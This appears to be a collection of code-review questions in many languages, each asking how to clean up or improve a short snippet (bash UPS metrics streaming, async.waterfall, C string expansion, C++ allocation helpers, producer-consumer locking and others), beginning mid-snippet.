    private Rigidbody rigidbody;

    private void OnValidate()
    {
        rigidbody = GetComponent<Rigidbody>() != null ? // if has component attached
            GetComponent<Rigidbody>() :  // assign referance
            gameObject.AddComponent<Rigidbody>(); // else add new component
    }

    // start, update etc
}

This is a common situation, are there any general best practices to doing this?


texts: Streaming my UPS metrics for graphical viewing in bash

texts:
I have an APC UPS, which comes with the apcaccess utility to get various statistical values from the apcupsd daemon service.

I am using the following script to stream my line voltage data to thingspeak.com website which allows us to see the results streaming in real time.

The script is set as a cron job, executing every minute.

#!/bin/bash

API_URL="https://api.thingspeak.com/update?api_key=XXXXXXXXXXXXX&field%d=%s"
UPS_PROPS=(LINEV)

for index in ${!UPS_PROPS[@]}
do
    value=$(/sbin/apcaccess -up ${UPS_PROPS[$index]})
    curl $(printf $API_URL $(expr $index + 1) $value)
done

I have the UPS_PROPS as an array because I want to later extend the code to also stream some other data points.

The chart can be seen over at this link.


texts:
Does anyone have any recommendations for how I could make this async.waterfall call neater? Ideally I'd be able to do something like:

async.waterfall([
  serializeUser(user_id),
  generateAccessToken(user_id),
  generateRefreshToken(user_id)
], function(error, results) {
  //my user, access token, and refresh token are all in results
});

But as far as I know, I can't just aggregate all of my results at the end without explicitly doing so throughout my functions array, nor can I just pass in variables like I did there, as each subsequent function call depends on the one prior to it. The code below is functioning just fine and does exactly what it needs to, I simply want to make it cleaner.

    var fb_id = req.body.profile.fbID;

    async.waterfall([
      function(cb) {
        return User.serializeUser(fb_id, cb);
      },
      function(user, cb) {
        return auth.generateAccessToken(user._id, function(error, access_token) {
          return cb(null, user, access_token);
        });
      },
      function(user, access_token, cb) {
        return auth.generateRefreshToken(user._id, function(error, refresh_token) {
          if (error) {
            return cb(error, null);
          }
          else if (refresh_token) {
            return cb(null, {user: user, at: access_token, rt: refresh_token});
          }
          //no error but no token either- no clue what happened, return a code of 500 and say its a server error
          else {
            return cb(null, "An unknown error has occured.", 500);
          }
        });
      }
    ], function(error, results){
      if (err) {
        console.log("Waterfall error: ", error, "\n");
        res.send("Error: ", error);
      }
      else if (results) {
        console.log("Waterfall results: ", obj, "\n");
        res.status(200).json({ user: results.user,  access_token: results.at.access_token, refresh_token: results.rt.tokenString})
      }
      else {
        res.status(500).send("An unknown error has occured.");
      }
    })
  }]


texts: scraping and saving using Arrays or Objects

texts:
I'm using Anemone to Spider a website, I am then using a set of rules specific to that website, to find certain parameters.

I feel like it's simple enough, but any attempt I make to save the products into arrays looks very messy.

the Rules are different for each site (the script is simply grabbing site 1 from the DB at the moment). rule.name should become the column name.

Any ideas of a good way to store this data (not on a db)? my Array pushing seemed horrible.

So my way of storing goes like this: I have 2 hashes (entity and product) and an array (array). I loop through the rules making an entity which I merge to Product after each successful iteration. I then push Product to Array before moving on to the next page.

As I said.. It seems and feels crappy. I would like to add a Product Model with a method to set variable keys for a hash.. but I'm not certain.

desc "Crawl client site"
task :crawl => :environment do

  require 'anemone'

  @client = Client.find(1)
  @rules = @client.rules
  $i = 0 #just for testing
array = Array.new

  #Set up model/object or array to save the data.

  Anemone.crawl(@client.url) do |anemone|
    anemone.on_every_page do |page|
      #puts page.url
      #Create new instance of object or row of array?
      entity = Hash.new
      product = Hash.new

      product = {url: page.url}

      @client.rules.each do |rule|

       # if page.doc.at_css(rule.rule) != nil || !rule.required? #.text[/[0-9\.]+/]
        if page.doc.xpath(rule.rule) != nil || !rule.required? #.text[/[0-9\.]+/]

          entity[rule.product_attribute.name] = page.doc.xpath(rule.rule).remove

          product.merge!(entity)

        else
          #Not a product Page. Break the rules loop and move on to next page. (also delete current instance)
          product = nil
          break
        end
        #$i+= 1
      end

      if product then array.push(product) end

    end
  end
#puts $i
  puts array
end


texts: Stripping time information in a DateTime object

texts:
Is there any better way to strip the time information in a DateTime Object than creating a new DateTime Object? For example, if I just want today's date and not time, is the only way is to do the following?

DateTime now = DateTime.Now;
DateTime Today = new DateTime(now.Year, now.Month, now.Day);


texts: Document iteration: what problems should I account for?

texts:
(function( d, w ){

    function showClimb( e ){
        var t = e.target;
        console.log( t.id );
        while( t.id !== 'document-body' ){
            t = t.parentNode;
            console.log( t.id );
        }
    }

    d.body.addEventListener( 'click', showClimb, false );

}( document, window ))

I just wrote this snippet to test if an element or it's child has been selected. What risks does this approach have? What failsaves should I include to make sure this loop doesn't get stuck somehow? I am writing for IE9 and higher.


texts:
I implemented the split function in Haskell:

split :: (Eq a) => a -> [a] -> [[a]]
split _ [] = []
split x ys = f : split x rest
  where (f, rest) = break (== x) (dropWhile (== x) ys)

Note that I'm calling dropWhile (== x) since break's second-tuple value will include the "broken on" value.

example:

*Main> break (== 'a') "dogacactus"
("dog","acactus")

Testing

*Main> split2 '3' "123aaaBBB3"
["12","aaaBBB",""]


texts:
I wrote a program to convert spaces to tabs. If there are 4 spaces it should convert them to tab. Please let me know how to improve it.

#include <stdio.h>
#define TABVALUE 4
int c, d, s;

int main(void) {
    c = s = d = 0;
    while ((c = getchar()) != EOF) {
        if (c == ' ') {
            s++;
            for (int j = 0; j < TABVALUE - 1; j++) {
                d = getchar();
                if (d == ' ') {
                    s++;
                }
            }
            if (s == TABVALUE) {
                putchar('\t');
                s = 0;
            }
        } else {
            putchar(c);
        }
    }
    return 0;
}


texts:
Wrote this function for a Stack Overflow answer. It started off pretty bad but in the end I polished it a bit and now I have something I think to be pretty clean. Actually, when I look at the code, this is what I usually write when I'm programming AS3 (minus the documentation, I'm a lazy bastard, although that's slowly changing too).

The problem the code attempts to solve is finding a case-insensitive string in an array.

Soo... anything that can be improved here?

Should I handle null and undefined?

Does my documentation look helpful from a IDE usage perspective?

/**
 * Searches through an array for a case-insensitive string match.
 * Attempts to imitate Array.indexOf where it can.
 * @param arr The array to search through
 * @param searchingFor The string to search for
 * @param fromIndex Optional, an index to start searching at.
 * @returns The index of the array that a match was found at (zero-indexed), or -1 if no match was found.
*/
public static function indexOfCaseInsensitiveString(arr:Array, searchingFor:String, fromIndex:uint = 0):int {
    var lowercaseSearchString:String = searchingFor.toLowerCase();
    var arrayLength:uint = arr.length;//Retrieving array length is expensive, optimization

    for(var index:uint = fromIndex; index < arrayLength; index++) {
        var element:* = arr[index];
        if(element is String && element.toLowerCase() == lowercaseSearchString) {
            return index;
        }
    }
    return -1;//It wasn't found in the array.
}


texts: Shorthand expansion exercise from K & R C (ex 3-3)

texts:
I have written a function to take some shorthand input and expand it into the full form, for example a-z0-9 becomes abcd...789. I added protection from buffer overflow exploits (knocks on wood), and have covered (or think I have) all and any edge cases that the user could throw at it.

Are there any ways in which my code could be improved (subjective and objective criticism welcome here)? Have I missed an edge case? are there any insecure sections of my code that might allow for a buffer overflow? Is my code written in a fairly concise and readable way?

// expand.c - function expand(s1, s2) takes shorthand input (i.e. a-z0-9) and expands it, placing the result in s2 (i.e. abcde...789)
#include <stdio.h>
#define MAXLEN 256
#define UP 1    //Included only to help improve readability
#define DOWN -1 //Ditto

void expand(char s1[], char s2[]);

int main()
{
    char output[MAXLEN], input[MAXLEN];
    printf("Enter string to expand: ");
    fgets(input, MAXLEN + 1, stdin);
    expand(input, output);
    printf("%s\n", output);
    return 0;
}

void expand(char s1[], char s2[])
{
    int i, j, k, count;
    for(i = j = 0; s1[i] != '\0' && i < MAXLEN && j < MAXLEN; i++) {
        if(s1[i + 1] == '-' && s1[i + 2] != '\0') {
            if(s1[i] < s1[i + 2])
                count = UP;
            else
                count = DOWN;
            for(k = 0; s1[i] + k - count != s1[i + 2] && j < MAXLEN; k += count, j++) {
                if(s1[i - 1] == '-' && k == 0)
                    j--;
                s2[j] = s1[i] + k;
            }
            s2[j] = '\0';
        }
    }
}


texts:
I have a method to check if the Id exists in the data or not, for example:

func (r *ReviewData) Exist() bool {
    // TODO :  checking the shopID value is nil or not.
    // it is a good way to check the value before go to the execution
    query := fmt.Sprintf(
        `
        SELECT
        'x'
        FROM
        ws_active_seller
        WHERE
        shop_id = %d
        `,
        r.ShopID,
    )

    result := postgres.QueryRow(query)
    var data []uint8
    result.Scan(&data)

    if len(data) < 1 {
        return false
    }

    if data[0] != 'x' {
        return false
    }

    return true
}

Notice here that I'm not using any parameters to pass into method here.
But There is another approach to do this with :

func (r *ReviewData) Exist(shpoID int64) bool {
    // TODO :  checking the shopID value is nil or not.
    // it is a good way to check the value before go to the execution
    query := fmt.Sprintf(
        `
        SELECT
        'x'
        FROM
        ws_active_seller
        WHERE
        shop_id = %d
        `,
        shopID,
    )
    // the rest is the same
}

The different with two method above is the parameters. I would like to know what's a good practice for this.

Any ideas on what can be improved?


texts: Write the running time to file without capturing the program's output

texts:
I want to run an application and write (append) its processing time into a file. Also, I want to see the stdout and stderr output on the shell, but don't want to write it in a file. After running the process, I'd like to see time measured.

Since I'm on Bash, one solution would be this one, but it's pretty ugly, since tail needs to parse the whole output:

function run_time {
    { local TIMEFORMAT=%R; time "${@}"; } 2>&1 | tee /dev/stderr | tail -n 1 >> run_time.txt
}

Another variant would be to use GNU time:

function run_time {
    /usr/bin/time --quiet --format '%e' --append --output=run_time.txt "${@}"
    tail -n 1 run_time.txt
}

When running the function like this, the measured time gets written into the file, of course.

run_time mycommand > target.txt

A work-around would to redirect tail's output to stderr or a sub-shell:

run_time sh -c "exec mycommand > target.txt"

And here's my question: It there a more elegant way?


texts: How to refactor a method with many prameters that sets a bit array

texts:
I've written a method that is going to set a bit array by passing bool parameters to be able send correct command
private byte _mode;

     public void SetConfiguration(
            bool mode1,
            bool mode2,
            bool mode3,
            bool mode4,
            bool mode5,
            bool mode6,
            bool mode7,
            bool mode8)
        {
            var setBits = new BitArray(8);

            setBits.Set(0, mode1);
            setBits.Set(1, mode2);
            setBits.Set(2, mode3);
            setBits.Set(3, mode4);
            setBits.Set(4, mode5);
            setBits.Set(5, mode6);
            setBits.Set(6, mode7);
            setBits.Set(7, mode8);

            byte[] byteSet = new byte[1];
            setBits.CopyTo(byteSet, 0);
            _mode = byteSet[0];
        }

So depending on what command the application is sending I am going to set it with boolean. What bothers me is that the method has too many bool parameters and I'm wondering if anyone have an idea how to write this in a better way


texts: Using temporary file as backing object for a tarfile

texts:
I have existing code that handles a tarball and would like to use that to process a directory, so I thought it would be reasonable to pack the directory up in a temporary file.  I ended up writing:

class temp_tarball( object ):
    def __init__( self, path ):
        self.tmp = tempfile.NamedTemporaryFile()
        self.tarfile = tarfile.open( None, 'w:', self.tmp )
        self.tarfile.add( path, '.' )
        self.tarfile.close()
        self.tmp.flush()
        self.tarfile = tarfile.open( self.tmp.name, 'r:' )
    def __del__( self ):
        self.tarfile.close()
        self.tmp.close()

I am looking for a cleaner way to reopen the tarfile with mode 'r'.


texts: Implementing `create` and `destroy` functions to replace `new` and `delete` operators

texts:
The environment I'm working in requires that all allocation is done through a special set of malloc/calloc functions and that a user ID is provided when allocating. The environment has no implementation of exceptions, so errors are signaled by returning NULL.

For this reason, I have tried to write a couple of C++ functions which make it easier to create and destroy C++ objects:

namespace details {
    template<typename T>
    typename enable_if<is_pod<T>::value, T>::type *
    create(uint32_t module_id) {
        // use module_id
        return (T *)calloc(1, sizeof(T));
    }

    template<typename T, typename ...Args>
    typename enable_if<!is_pod<T>::value, T>::type *
    create(uint32_t module_id, Args&&... args) {
        // use module_id
        T *p = (T *)calloc(1, sizeof(T));
        if (p)
            new (p) T(forward<Args>(args)...);
        return p;
    }

    template<typename T>
    void destroy(typename enable_if<is_pod<T>::value, T>::type *t) {
        if (t)
            free(t);
    }

    template<typename T>
    void destroy(typename enable_if<!is_pod<T>::value, T>::type *t) {
        if (!t)
            return;

        t->~T();
        free(t);
    }
};

template<typename T, typename ...Args>
T *create(uint32_t module_id, Args&&... args) {
    return details::create<T>(module_id, forward<Args>(args)...);
}

template<typename T>
void destroy(T *t) {
    details::destroy<T>(t);
}

Can this be done smarter?  And are there any cases where my create/destroy functions are not handling as one would expect?


texts: Removing first or last character of a string with unit-testing

texts:
I am trying to remove a duplicate letter of first or last letter, with an exception of containing 'a' as first letter and 'l' and 'e' as last letter. However, this code does not look efficient to me because, what if I had 20 letters of exception? Could I put this in a string or an array? I would not want to compare each letter all in one if statement. What would be a better way to rewrite this code? Example of what the code should do:

aaron should return aaron
bill should return bill
lee should return lee

All other names with duplicate first and last letters should return with the removed duplicate letter. This is a unit test, where firstName is being passed as a string. Instead of using if statement of each letter to check, is there an alternative solution?

UnitTest:

[TestCase("aaron", "aaron")]
public void QualityAssurance(string firstName, string expected)
{
    var actual = warmups.QualityAssurance(firstName);
    Assert.AreEqual(expected, actual);
}

Unit:

public string QualityAssurance(string firstName)
{
    if (firstName[0] != 'a' && firstName[firstName.Length - 1] != 'l' && firstName[firstName.Length - 1] != 'e')
    {
        if (firstName[0] == firstName[1] && firstName[firstName.Length - 1] == firstName[firstName.Length - 2])
        {
            return firstName.Remove(0, 1).Remove(firstName.Length - 2, 1);
        }
        else if (firstName[0] == firstName[1])
        {
            return firstName.Remove(0, 1);
        }
        else if (firstName[firstName.Length - 1] == firstName[firstName.Length - 2])
        {
            return firstName.Remove(firstName.Length - 1);
        }
    }
    return firstName;
}


texts: Optimizing producer consumer using monitors

texts:
I am trying to review concurrency concepts, i.e monitor, semaphores, etc. I've learned that Semaphores are natively not available in C++11 (presumably because it is very error prone) - which is why I am trying to review monitors.

The producer/consumer below already works correctly (to my knowledge), but I am wondering if it is possible/correct to make an optimization and explicitly release the unique_lock, instead of waiting for it to destroy itself.

std::mutex mutex;
std::condition_variable space_in_buffer;
std::condition_variable buffer_empty;
std::queue<int> buffer;
#define MAX_BUFFER_SIZE 10

void produce() {
    while (1) {
        std::unique_lock<std::mutex> lock(mutex);
        if (buffer.size() == MAX_BUFFER_SIZE) {
            space_in_buffer.wait(lock);
        } else {
            // produce
            int new_product = rand() % 30;
            buffer.push(new_product);
            printf("Produced [%d] | Item Count: %lu\n", new_product,
                    buffer.size());

            /*
             * Possible optimization to call lock.unlock() here, instead
             * of waiting for the unique lock to go out of scope ?
             */

            buffer_empty.notify_one();

            // potential for extra processing here
        }
    }
}

void consume() {
    while (1) {
        std::unique_lock<std::mutex> lock(mutex);
        if (buffer.size() == 0) {
            buffer_empty.wait(lock);
        } else {
            // consume
            int to_be_consumed = buffer.front();
            buffer.pop();

            printf("Consumed [%d] | Item Count: %lu\n", to_be_consumed,
                    buffer.size());

            /*
             * Possible optimization to call lock.unlock() here, instead
             * of waiting for the unique lock to go out of scope ?
             */

            space_in_buffer.notify_one();

            // potential for extra processing here
        }
    }
}